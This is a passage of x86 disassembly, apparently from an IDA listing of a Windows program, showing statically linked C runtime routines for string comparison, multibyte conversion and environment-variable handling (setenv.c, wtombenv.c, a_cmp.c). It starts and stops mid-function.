push eax
loc_430056: ; DATA XREF: .data:off_4343F4o
; .data:00434AB8o
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_492404, 0
jnz short loc_4300B2
push 0
push 0
push 1
push 0
call ds:dword_4942A0
test eax, eax
jz short loc_43008D
mov dword_492404, 1
jmp short loc_4300B2
; ---------------------------------------------------------------------------
loc_43008D: ; CODE XREF: sub_430040+3Fj
push 0
push 0
push 1
push 0
call ds:dword_4943F0
test eax, eax
jz short loc_4300AB
mov dword_492404, 2
jmp short loc_4300B2
; ---------------------------------------------------------------------------
loc_4300AB: ; CODE XREF: sub_430040+5Dj
xor eax, eax
jmp loc_4301D1
; ---------------------------------------------------------------------------
loc_4300B2: ; CODE XREF: sub_430040+2Dj
; sub_430040+4Bj ...
cmp dword_492404, 2
jnz short loc_4300D6
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4943F0
jmp loc_4301D1
; ---------------------------------------------------------------------------
loc_4300D6: ; CODE XREF: sub_430040+79j
cmp dword_492404, 1
jnz loc_4301CF
cmp [ebp+arg_10], 0
jnz short loc_4300F2
mov ecx, dword_492180
mov [ebp+arg_10], ecx
loc_4300F2: ; CODE XREF: sub_430040+A7j
push 0
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4942A0
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_430114
xor eax, eax
jmp loc_4301D1
; ---------------------------------------------------------------------------
loc_430114: ; CODE XREF: sub_430040+CBj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_418D40
mov [ebp+var_28], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_28]
mov [ebp+var_20], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_430156
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_430156: ; CODE XREF: sub_430040+FDj
cmp [ebp+var_20], 0
jnz short loc_430160
xor eax, eax
jmp short loc_4301D1
; ---------------------------------------------------------------------------
loc_430160: ; CODE XREF: sub_430040+11Aj
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:dword_4942A0
test eax, eax
jnz short loc_43017E
xor eax, eax
jmp short loc_4301D1
; ---------------------------------------------------------------------------
loc_43017E: ; CODE XREF: sub_430040+138j
cmp [ebp+arg_C], 0
jnz short loc_4301A6
push 0
push 0
push 0
push 0
push 0FFFFFFFFh
mov eax, [ebp+var_20]
push eax
push 220h
mov ecx, [ebp+arg_10]
push ecx
call ds:dword_4943B0
mov [ebp+var_24], eax
jmp short loc_4301CA
; ---------------------------------------------------------------------------
loc_4301A6: ; CODE XREF: sub_430040+142j
push 0
push 0
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_20]
push ecx
push 220h
mov edx, [ebp+arg_10]
push edx
call ds:dword_4943B0
mov [ebp+var_24], eax
loc_4301CA: ; CODE XREF: sub_430040+164j
mov eax, [ebp+var_24]
jmp short loc_4301D1
; ---------------------------------------------------------------------------
loc_4301CF: ; CODE XREF: sub_430040+9Dj
xor eax, eax
loc_4301D1: ; CODE XREF: sub_430040+6Dj
; sub_430040+91j ...
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_430040 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4301F0 proc near ; CODE XREF: sub_42F770+9Bp
; sub_430A20+2Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_8], 0
jnz short loc_4301FE
xor eax, eax
jmp short loc_43023B
; ---------------------------------------------------------------------------
loc_4301FE: ; CODE XREF: sub_4301F0+8j
mov eax, dword_492524
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 1
mov edx, dword_492744
push edx
call sub_4302F0
add esp, 1Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_430235
mov eax, 7FFFFFFFh
jmp short loc_43023B
; ---------------------------------------------------------------------------
loc_430235: ; CODE XREF: sub_4301F0+3Cj
mov eax, [ebp+var_4]
sub eax, 2
loc_43023B: ; CODE XREF: sub_4301F0+Cj
; sub_4301F0+43j
mov esp, ebp
pop ebp
retn
sub_4301F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430240 proc near ; CODE XREF: sub_42F770+2Dp
; sub_430740+81p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, dword_4920B8
mov [ebp+var_4], eax
loc_43024E: ; CODE XREF: sub_430240+A3j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx], 0
jz loc_4302E8
push 0
push 0
push 0
push 0
push 0FFFFFFFFh
mov edx, [ebp+var_4]
mov eax, [edx]
push eax
push 0
push 1
call ds:dword_4943B0
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_430282
or eax, 0FFFFFFFFh
jmp short loc_4302EA
; ---------------------------------------------------------------------------
loc_430282: ; CODE XREF: sub_430240+3Bj
push 3Dh
push offset aWtombenv_c ; "wtombenv.c"
push 2
mov ecx, [ebp+var_C]
push ecx
call sub_416A30
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_4302A5
or eax, 0FFFFFFFFh
jmp short loc_4302EA
; ---------------------------------------------------------------------------
loc_4302A5: ; CODE XREF: sub_430240+5Ej
push 0
push 0
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
push 0
push 1
call ds:dword_4943B0
test eax, eax
jnz short loc_4302CC
or eax, 0FFFFFFFFh
jmp short loc_4302EA
; ---------------------------------------------------------------------------
loc_4302CC: ; CODE XREF: sub_430240+85j
push 0
mov eax, [ebp+var_8]
push eax
call sub_430740
add esp, 8
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp loc_43024E
; ---------------------------------------------------------------------------
loc_4302E8: ; CODE XREF: sub_430240+14j
xor eax, eax
loc_4302EA: ; CODE XREF: sub_430240+40j
; sub_430240+63j ...
mov esp, ebp
pop ebp
retn
sub_430240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4302F0 proc near ; CODE XREF: sub_4301F0+2Dp
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_433D60
push offset sub_425F84
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFC8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_492408, 0
jnz short loc_430376
push 1
push offset dword_43301C
push 1
push offset dword_43301C
push 0
push 0
call ds:dword_494298
test eax, eax
jz short loc_430347
mov dword_492408, 1
jmp short loc_430376
; ---------------------------------------------------------------------------
loc_430347: ; CODE XREF: sub_4302F0+49j
push 1
push offset dword_433018
push 1
push offset dword_433018
push 0
push 0
call ds:dword_49429C
test eax, eax
jz short loc_43036F
mov dword_492408, 2
jmp short loc_430376
; ---------------------------------------------------------------------------
loc_43036F: ; CODE XREF: sub_4302F0+71j
xor eax, eax
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_430376: ; CODE XREF: sub_4302F0+2Dj
; sub_4302F0+55j ...
cmp [ebp+arg_C], 0
jle short loc_43038F
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_4306F0
add esp, 8
mov [ebp+arg_C], eax
loc_43038F: ; CODE XREF: sub_4302F0+8Aj
cmp [ebp+arg_14], 0
jle short loc_4303A8
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
call sub_4306F0
add esp, 8
mov [ebp+arg_14], eax
loc_4303A8: ; CODE XREF: sub_4302F0+A3j
cmp dword_492408, 2
jnz short loc_4303D4
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_49429C
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_4303D4: ; CODE XREF: sub_4302F0+BFj
cmp dword_492408, 1
jnz loc_4306D2
cmp [ebp+arg_18], 0
jnz short loc_4303F0
mov ecx, dword_492180
mov [ebp+arg_18], ecx
loc_4303F0: ; CODE XREF: sub_4302F0+F5j
cmp [ebp+arg_C], 0
jz short loc_430400
cmp [ebp+arg_14], 0
jnz loc_43057C
loc_430400: ; CODE XREF: sub_4302F0+104j
mov edx, [ebp+arg_C]
cmp edx, [ebp+arg_14]
jnz short loc_430412
mov eax, 2
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_430412: ; CODE XREF: sub_4302F0+116j
cmp [ebp+arg_14], 1
jle short loc_430422
mov eax, 1
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_430422: ; CODE XREF: sub_4302F0+126j
cmp [ebp+arg_C], 1
jle short loc_430432
mov eax, 3
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_430432: ; CODE XREF: sub_4302F0+136j
lea eax, [ebp+var_3C]
push eax
mov ecx, [ebp+arg_18]
push ecx
call ds:dword_49447C
test eax, eax
jnz short loc_43044B
xor eax, eax
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_43044B: ; CODE XREF: sub_4302F0+152j
; sub_4302F0+198j
cmp [ebp+arg_C], 0
jnz short loc_430457
cmp [ebp+arg_14], 1
jz short loc_430484
loc_430457: ; CODE XREF: sub_4302F0+15Fj
cmp [ebp+arg_C], 1
jnz short loc_430463
cmp [ebp+arg_14], 0
jz short loc_430484
loc_430463: ; CODE XREF: sub_4302F0+16Bj
push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"...
push 0
push 0B6h
push offset aA_cmp_c ; "a_cmp.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_430484
int 3 ; Trap to Debugger
loc_430484: ; CODE XREF: sub_4302F0+165j
; sub_4302F0+171j ...
xor edx, edx
test edx, edx
jnz short loc_43044B
cmp [ebp+arg_C], 0
jle short loc_430503
cmp [ebp+var_3C], 2
jnb short loc_4304A0
mov eax, 3
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_4304A0: ; CODE XREF: sub_4302F0+1A4j
lea eax, [ebp+var_36]
mov [ebp+var_40], eax
jmp short loc_4304B1
; ---------------------------------------------------------------------------
loc_4304A8: ; CODE XREF: sub_4302F0:loc_4304F7j
mov ecx, [ebp+var_40]
add ecx, 2
mov [ebp+var_40], ecx
loc_4304B1: ; CODE XREF: sub_4302F0+1B6j
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_4304F9
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx+1]
test edx, edx
jz short loc_4304F9
mov eax, [ebp+arg_8]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx]
cmp ecx, eax
jl short loc_4304F7
mov ecx, [ebp+arg_8]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_40]
xor ecx, ecx
mov cl, [eax+1]
cmp edx, ecx
jg short loc_4304F7
mov eax, 2
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_4304F7: ; CODE XREF: sub_4302F0+1E8j
; sub_4302F0+1FBj
jmp short loc_4304A8
; ---------------------------------------------------------------------------
loc_4304F9: ; CODE XREF: sub_4302F0+1CAj
; sub_4302F0+1D6j
mov eax, 3
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_430503: ; CODE XREF: sub_4302F0+19Ej
cmp [ebp+arg_14], 0
jle short loc_43057C
cmp [ebp+var_3C], 2
jnb short loc_430519
mov eax, 1
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_430519: ; CODE XREF: sub_4302F0+21Dj
lea edx, [ebp+var_36]
mov [ebp+var_40], edx
jmp short loc_43052A
; ---------------------------------------------------------------------------
loc_430521: ; CODE XREF: sub_4302F0:loc_430570j
mov eax, [ebp+var_40]
add eax, 2
mov [ebp+var_40], eax
loc_43052A: ; CODE XREF: sub_4302F0+22Fj
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_430572
mov eax, [ebp+var_40]
xor ecx, ecx
mov cl, [eax+1]
test ecx, ecx
jz short loc_430572
mov edx, [ebp+arg_10]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx]
cmp eax, edx
jl short loc_430570
mov eax, [ebp+arg_10]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx+1]
cmp ecx, eax
jg short loc_430570
mov eax, 2
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_430570: ; CODE XREF: sub_4302F0+261j
; sub_4302F0+274j
jmp short loc_430521
; ---------------------------------------------------------------------------
loc_430572: ; CODE XREF: sub_4302F0+243j
; sub_4302F0+24Fj
mov eax, 1
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_43057C: ; CODE XREF: sub_4302F0+10Aj
; sub_4302F0+217j
push 0
push 0
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 9
mov eax, [ebp+arg_18]
push eax
call ds:dword_4942D4
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_4305A4
xor eax, eax
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_4305A4: ; CODE XREF: sub_4302F0+2ABj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_418D40
mov [ebp+var_44], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_44]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4305E6
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_4305E6: ; CODE XREF: sub_4302F0+2DDj
cmp [ebp+var_24], 0
jnz short loc_4305F3
xor eax, eax
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_4305F3: ; CODE XREF: sub_4302F0+2FAj
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call ds:dword_4942D4
test eax, eax
jnz short loc_43061A
xor eax, eax
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_43061A: ; CODE XREF: sub_4302F0+321j
push 0
push 0
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
push 9
mov eax, [ebp+arg_18]
push eax
call ds:dword_4942D4
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_430642
xor eax, eax
jmp loc_4306D4
; ---------------------------------------------------------------------------
loc_430642: ; CODE XREF: sub_4302F0+349j
mov [ebp+var_4], 1
mov eax, [ebp+var_20]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_418D40
mov [ebp+var_48], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_48]
mov [ebp+var_28], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_430684
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_28], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_430684: ; CODE XREF: sub_4302F0+37Bj
cmp [ebp+var_28], 0
jnz short loc_43068E
xor eax, eax
jmp short loc_4306D4
; ---------------------------------------------------------------------------
loc_43068E: ; CODE XREF: sub_4302F0+398j
mov edx, [ebp+var_20]
push edx
mov eax, [ebp+var_28]
push eax
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call ds:dword_4942D4
test eax, eax
jnz short loc_4306B2
xor eax, eax
jmp short loc_4306D4
; ---------------------------------------------------------------------------
loc_4306B2: ; CODE XREF: sub_4302F0+3BCj
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_28]
push edx
mov eax, [ebp+var_1C]
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_494298
jmp short loc_4306D4
; ---------------------------------------------------------------------------
loc_4306D2: ; CODE XREF: sub_4302F0+EBj
xor eax, eax
loc_4306D4: ; CODE XREF: sub_4302F0+81j
; sub_4302F0+DFj ...
lea esp, [ebp-54h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4302F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4306F0 proc near ; CODE XREF: sub_4302F0+94p
; sub_4302F0+ADp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_430702: ; CODE XREF: sub_4306F0+35j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_430727
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_430727
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_430702
; ---------------------------------------------------------------------------
loc_430727: ; CODE XREF: sub_4306F0+20j
; sub_4306F0+2Aj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_430739
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
jmp short loc_43073C
; ---------------------------------------------------------------------------
loc_430739: ; CODE XREF: sub_4306F0+3Fj
mov eax, [ebp+arg_4]
loc_43073C: ; CODE XREF: sub_4306F0+47j
mov esp, ebp
pop ebp
retn
sub_4306F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430740 proc near ; CODE XREF: sub_430240+92p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
cmp [ebp+arg_0], 0
jz short loc_43076C
push 3Dh
mov eax, [ebp+arg_0]
push eax
call sub_430B90
add esp, 8
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_43076C
mov ecx, [ebp+arg_0]
cmp ecx, [ebp+var_18]
jnz short loc_430774
loc_43076C: ; CODE XREF: sub_430740+Bj
; sub_430740+22j
or eax, 0FFFFFFFFh
jmp loc_430A1B
; ---------------------------------------------------------------------------
loc_430774: ; CODE XREF: sub_430740+2Aj
mov edx, [ebp+var_18]
movsx eax, byte ptr [edx+1]
neg eax
sbb eax, eax
inc eax
mov [ebp+var_14], eax
mov ecx, dword_4920B0
cmp ecx, dword_4920B4
jnz short loc_4307A5
mov edx, dword_4920B0
push edx
call sub_430AA0
add esp, 4
mov dword_4920B0, eax
loc_4307A5: ; CODE XREF: sub_430740+4Fj
cmp dword_4920B0, 0
jnz loc_430865
cmp [ebp+arg_4], 0
jz short loc_4307D7
cmp dword_4920B8, 0
jz short loc_4307D7
call sub_430240
test eax, eax
jz short loc_4307D2
or eax, 0FFFFFFFFh
jmp loc_430A1B
; ---------------------------------------------------------------------------
loc_4307D2: ; CODE XREF: sub_430740+88j
jmp loc_430865
; ---------------------------------------------------------------------------
loc_4307D7: ; CODE XREF: sub_430740+76j
; sub_430740+7Fj
cmp [ebp+var_14], 0
jz short loc_4307E4
xor eax, eax
jmp loc_430A1B
; ---------------------------------------------------------------------------
loc_4307E4: ; CODE XREF: sub_430740+9Bj
cmp dword_4920B0, 0
jnz short loc_430824
push 87h
push offset aSetenv_c ; "setenv.c"
push 2
push 4
call sub_416A30
add esp, 10h
mov dword_4920B0, eax
cmp dword_4920B0, 0
jnz short loc_430819
or eax, 0FFFFFFFFh
jmp loc_430A1B
; ---------------------------------------------------------------------------
loc_430819: ; CODE XREF: sub_430740+CFj
mov eax, dword_4920B0
mov dword ptr [eax], 0
loc_430824: ; CODE XREF: sub_430740+ABj
cmp dword_4920B8, 0
jnz short loc_430865
push 8Eh
push offset aSetenv_c ; "setenv.c"
push 2
push 4
call sub_416A30
add esp, 10h
mov dword_4920B8, eax
cmp dword_4920B8, 0
jnz short loc_430859
or eax, 0FFFFFFFFh
jmp loc_430A1B
; ---------------------------------------------------------------------------
loc_430859: ; CODE XREF: sub_430740+10Fj
mov ecx, dword_4920B8
mov dword ptr [ecx], 0
loc_430865: ; CODE XREF: sub_430740+6Cj
; sub_430740:loc_4307D2j ...
mov edx, dword_4920B0
mov [ebp+var_C], edx
mov eax, [ebp+var_18]
sub eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_430A20
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jl loc_430921
mov edx, [ebp+var_C]
cmp dword ptr [edx], 0
jz loc_430921
cmp [ebp+var_14], 0
jz short loc_430913
push 2
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ecx+eax*4]
push edx
call sub_4174C0
add esp, 8
jmp short loc_4308BF
; ---------------------------------------------------------------------------
loc_4308B6: ; CODE XREF: sub_430740+19Ej
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_4308BF: ; CODE XREF: sub_430740+174j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
cmp dword ptr [edx+ecx*4], 0
jz short loc_4308E0
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
mov esi, [ebp+var_C]
mov edx, [esi+edx*4+4]
mov [ecx+eax*4], edx
jmp short loc_4308B6
; ---------------------------------------------------------------------------
loc_4308E0: ; CODE XREF: sub_430740+189j
push 0B9h
push offset aSetenv_c ; "setenv.c"
push 2
mov eax, [ebp+var_8]
shl eax, 2
push eax
mov ecx, [ebp+var_C]
push ecx
call sub_416EC0
add esp, 14h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_430911
mov edx, [ebp+var_C]
mov dword_4920B0, edx
loc_430911: ; CODE XREF: sub_430740+1C6j
jmp short loc_43091F
; ---------------------------------------------------------------------------
loc_430913: ; CODE XREF: sub_430740+15Ej
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov [ecx+eax*4], edx
loc_43091F: ; CODE XREF: sub_430740:loc_430911j
jmp short loc_430994
; ---------------------------------------------------------------------------
loc_430921: ; CODE XREF: sub_430740+148j
; sub_430740+154j
cmp [ebp+var_14], 0
jnz short loc_43098D
cmp [ebp+var_8], 0
jge short loc_430935
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_430935: ; CODE XREF: sub_430740+1EBj
push 0CEh
push offset aSetenv_c ; "setenv.c"
push 2
mov ecx, [ebp+var_8]
lea edx, ds:8[ecx*4]
push edx
mov eax, [ebp+var_C]
push eax
call sub_416EC0
add esp, 14h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_430969
or eax, 0FFFFFFFFh
jmp loc_430A1B
; ---------------------------------------------------------------------------
loc_430969: ; CODE XREF: sub_430740+21Fj
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
mov [edx+ecx*4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov dword ptr [edx+ecx*4+4], 0
mov eax, [ebp+var_C]
mov dword_4920B0, eax
jmp short loc_430994
; ---------------------------------------------------------------------------
loc_43098D: ; CODE XREF: sub_430740+1E5j
xor eax, eax
jmp loc_430A1B
; ---------------------------------------------------------------------------
loc_430994: ; CODE XREF: sub_430740:loc_43091Fj
; sub_430740+24Bj
cmp [ebp+arg_4], 0
jz short loc_430A19
push 0E5h
push offset aSetenv_c ; "setenv.c"
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_418E70
add esp, 4
add eax, 2
push eax
call sub_416A30
add esp, 10h
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_430A19
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_10]
push eax
call sub_419FA0
add esp, 8
mov ecx, [ebp+var_18]
sub ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
neg edx
sbb edx, edx
not edx
and edx, [ebp+var_4]
push edx
mov eax, [ebp+var_10]
push eax
call ds:dword_494294
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_4174C0
add esp, 8
loc_430A19: ; CODE XREF: sub_430740+258j
; sub_430740+285j
xor eax, eax
loc_430A1B: ; CODE XREF: sub_430740+2Fj
; sub_430740+8Dj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_430740 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430A20 proc near ; CODE XREF: sub_430740+139p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, dword_4920B0
mov [ebp+var_4], eax
jmp short loc_430A37
; ---------------------------------------------------------------------------
loc_430A2E: ; CODE XREF: sub_430A20:loc_430A88j
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
loc_430A37: ; CODE XREF: sub_430A20+Cj
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_430A8A
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4301F0
add esp, 0Ch
test eax, eax
jnz short loc_430A88
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [edx+eax]
cmp ecx, 3Dh
jz short loc_430A7A
mov edx, [ebp+var_4]
mov eax, [edx]
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [eax+ecx]
test edx, edx
jnz short loc_430A88
loc_430A7A: ; CODE XREF: sub_430A20+48j
mov eax, [ebp+var_4]
sub eax, dword_4920B0
sar eax, 2
jmp short loc_430A98
; ---------------------------------------------------------------------------
loc_430A88: ; CODE XREF: sub_430A20+37j
; sub_430A20+58j
jmp short loc_430A2E
; ---------------------------------------------------------------------------
loc_430A8A: ; CODE XREF: sub_430A20+1Dj
mov eax, [ebp+var_4]
sub eax, dword_4920B0
sar eax, 2
neg eax
loc_430A98: ; CODE XREF: sub_430A20+66j
mov esp, ebp
pop ebp
retn
sub_430A20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430AA0 proc near ; CODE XREF: sub_430740+58p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], 0
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
cmp [ebp+arg_0], 0
jnz short loc_430AC0
xor eax, eax
jmp loc_430B8A
; ---------------------------------------------------------------------------
loc_430AC0: ; CODE XREF: sub_430AA0+17j
; sub_430AA0+3Bj
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov eax, [ebp+var_C]
add eax, 4
mov [ebp+var_C], eax
test edx, edx
jz short loc_430ADD
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_430AC0
; ---------------------------------------------------------------------------
loc_430ADD: ; CODE XREF: sub_430AA0+30j
push 146h
push offset aSetenv_c ; "setenv.c"
push 2
mov edx, [ebp+var_10]
lea eax, ds:4[edx*4]
push eax
call sub_416A30
add esp, 10h
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
